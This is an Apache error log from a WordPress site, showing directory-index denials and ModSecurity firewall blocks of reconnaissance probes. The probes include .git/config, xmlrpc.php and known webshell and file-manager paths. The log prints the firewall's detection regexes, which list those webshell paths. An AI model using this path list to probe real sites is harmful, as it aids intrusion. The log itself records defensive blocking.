[Mon Apr 20 19:32:55.031605 2026] [autoindex:error] [pid 11351:tid 11399] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:32:59.983928 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:03.717703 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:03.938308 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:05.279068 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:12.860661 2026] [autoindex:error] [pid 11351:tid 11409] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:13.130618 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:13.429124 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:13.682169 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:19.229848 2026] [autoindex:error] [pid 11351:tid 11410] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:23.351775 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:23.593916 2026] [autoindex:error] [pid 11351:tid 11398] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:36.785921 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:39.678379 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:39.970303 2026] [autoindex:error] [pid 11351:tid 11387] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:40.199728 2026] [autoindex:error] [pid 11351:tid 11393] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:41.798356 2026] [autoindex:error] [pid 11351:tid 11402] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:33:43.343299 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:08.575907 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:11.195830 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:13.659056 2026] [autoindex:error] [pid 11351:tid 11404] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:16.614891 2026] [autoindex:error] [pid 11351:tid 11403] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:18.142440 2026] [autoindex:error] [pid 11351:tid 11390] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:18.358901 2026] [autoindex:error] [pid 11351:tid 11397] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:19.869404 2026] [autoindex:error] [pid 11351:tid 11395] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:20.093775 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:34:20.382211 2026] [autoindex:error] [pid 11351:tid 11389] [client 89.251.0.52:63225] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:48:32.494471 2026] [:error] [pid 11351:tid 11402] [client 134.199.166.214:46254] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeYSkAN8Z1-vktaI_tPm0wAAAE8"]
[Mon Apr 20 19:48:34.611130 2026] [:error] [pid 42014:tid 42016] [client 134.199.166.214:41106] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeYSksek-00-ZI0f1Np2sAAAAQA"]
[Mon Apr 20 19:50:44.376766 2026] [:error] [pid 42014:tid 42026] [client 195.142.136.26:49182] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeYTFMek-00-ZI0f1Np3LQAAAQo"]
[Mon Apr 20 19:55:31.324137 2026] [:error] [pid 11350:tid 11370] [client 89.251.0.144:21655] [client 89.251.0.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeYUM_4EoMBgOJuJnT2VKwAAAAs"]
[Mon Apr 20 19:55:35.906261 2026] [:error] [pid 11350:tid 11368] [client 89.251.0.134:49101] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeYUN_4EoMBgOJuJnT2VOwAAAAk"]
[Mon Apr 20 19:55:44.042365 2026] [:error] [pid 11350:tid 11368] [client 89.251.0.150:50685] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aeYUQP4EoMBgOJuJnT2VWQAAAAk"]
[Mon Apr 20 19:55:49.220074 2026] [:error] [pid 11350:tid 11380] [client 89.251.0.137:57939] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aeYURf4EoMBgOJuJnT2VaQAAABU"]
[Mon Apr 20 19:55:57.977516 2026] [:error] [pid 11441:tid 11467] [client 89.251.0.145:63839] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeYUTcixByFUvmh319CP2QAAANg"]
[Mon Apr 20 19:56:00.487284 2026] [:error] [pid 11350:tid 11383] [client 89.251.0.140:40843] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeYUUP4EoMBgOJuJnT2VewAAABg"]
[Mon Apr 20 19:56:01.189829 2026] [:error] [pid 11441:tid 11457] [client 89.251.0.132:37037] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeYUUcixByFUvmh319CP3gAAAM4"]
[Mon Apr 20 19:56:01.734611 2026] [:error] [pid 11494:tid 11507] [client 89.251.0.145:43005] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeYUUcgko5iFiE8YoyTSCAAAAYs"]
[Mon Apr 20 19:56:02.198568 2026] [:error] [pid 11350:tid 11371] [client 89.251.0.120:55275] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeYUUv4EoMBgOJuJnT2ViQAAAAw"]
[Mon Apr 20 19:56:02.829446 2026] [:error] [pid 11441:tid 11462] [client 89.251.0.120:25709] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeYUUsixByFUvmh319CP3wAAANM"]
[Mon Apr 20 19:56:15.283602 2026] [autoindex:error] [pid 11351:tid 11400] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:17.725410 2026] [autoindex:error] [pid 11351:tid 11387] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:27.666375 2026] [autoindex:error] [pid 11351:tid 11400] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:29.223981 2026] [autoindex:error] [pid 11351:tid 11395] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:33.026079 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:33.257042 2026] [autoindex:error] [pid 11351:tid 11389] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:33.496081 2026] [autoindex:error] [pid 11351:tid 11388] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:36.166036 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:36.388692 2026] [autoindex:error] [pid 11351:tid 11390] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:37.575313 2026] [autoindex:error] [pid 11351:tid 11400] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:37.800889 2026] [autoindex:error] [pid 11351:tid 11409] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:38.028545 2026] [autoindex:error] [pid 11351:tid 11387] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:38.476134 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:38.696763 2026] [autoindex:error] [pid 11351:tid 11392] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:56:38.953294 2026] [autoindex:error] [pid 11351:tid 11395] [client 89.251.0.115:57619] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
